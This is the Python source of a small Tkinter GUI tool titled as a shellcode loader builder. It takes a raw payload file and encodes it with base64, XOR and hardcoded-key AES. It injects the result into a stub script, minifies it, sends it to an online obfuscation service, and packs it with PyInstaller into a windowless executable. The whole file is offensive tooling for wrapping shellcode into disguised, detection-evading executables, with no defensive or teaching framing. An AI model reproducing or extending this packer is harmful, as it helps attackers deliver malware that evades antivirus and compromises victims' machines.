1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import tkinter as tk from tkinter import filedialog import requests import os import re import json import base64 from Crypto.Cipher import AES import python_minifier from pathlib import Path def add_to_16(s): while len(s) % 16 != 0: s += '\0' return str.encode(s) def aes_jiami(text): key = 'LeslieCheungKwok' aes = AES.new(add_to_16(key), AES.MODE_ECB) encrypted_text = str(base64.encodebytes(aes.encrypt(add_to_16(text))), encoding='utf8').replace('\n', '') return encrypted_text def xor_jiami(s, key): xor_s = '' for i in s: xor_s += chr(ord(i) ^ key) return xor_s def compile(): payload_path = entry1.get() with open(payload_path, 'rb') as f: data = f.read() b64_data = base64.b64encode(data) with open('payload.bs64', 'wb') as f: f.write(b64_data) sc = Path('payload.bs64').read_text() with open('./aes-xor.txt','wb') as f: f.write(aes_jiami(xor_jiami(sc, 35)).encode()) with open('aes-xor.txt', 'r') as f: jiami_sc = f.read().strip() with open('main.py', 'r') as f: content = f.read() content = content.replace("jiami_sc = ''", f"jiami_sc = '{jiami_sc}'") mini_content = python_minifier.minify(content) with open('main-mini.py', 'w') as f: f.write(mini_content) url = "https://pyob.oxyry.com/obfuscate" with open("main-mini.py", "r") as f: source = f.read() payload = { "append_source": False, "remove_docstrings": True, "rename_nondefault_parameters": True, "rename_default_parameters": False, "preserve": "", "source": source } headers = { "Content-Type": "application/json", "Referer": "https://pyob.oxyry.com/", "Origin": "https://pyob.oxyry.com" } response = requests.post(url, json=payload, headers=headers) json_obj = json.loads(response.text) dest_value=json_obj['dest'] with open("main-mini-obfuscated.py", "w") as f: f.write(dest_value) os.rename("main-mini-obfuscated.py", "main-mini-ob.py") print(response.text) os.system("pyinstaller.exe -Fw -i icon.ico --key=leslie --distpath=./dist main-mini-ob.py") root = tk.Tk() root.title("shallcode加载器v1.0") root.geometry("400x200") label1 = tk.Label(root, text="选择payload.raw的路径:") label1.pack() label2 = tk.Label(root, text="可执行文件将生成在当前文件夹") label2.pack() entry1 = tk.Entry(root) entry1.pack() button1 = tk.Button(root, text="raw", command=lambda: entry1.insert(tk.END, filedialog.askopenfilename())) button2 = tk.Button(root, text="编译", command=compile) label1.pack(side=tk.TOP, pady=10) label2.pack(side=tk.TOP, pady=10) entry1.pack(side=tk.TOP, pady=10) button1.pack(side=tk.LEFT, padx=60) button2.pack(side=tk.RIGHT, padx=60, anchor='center') root.mainloop()
|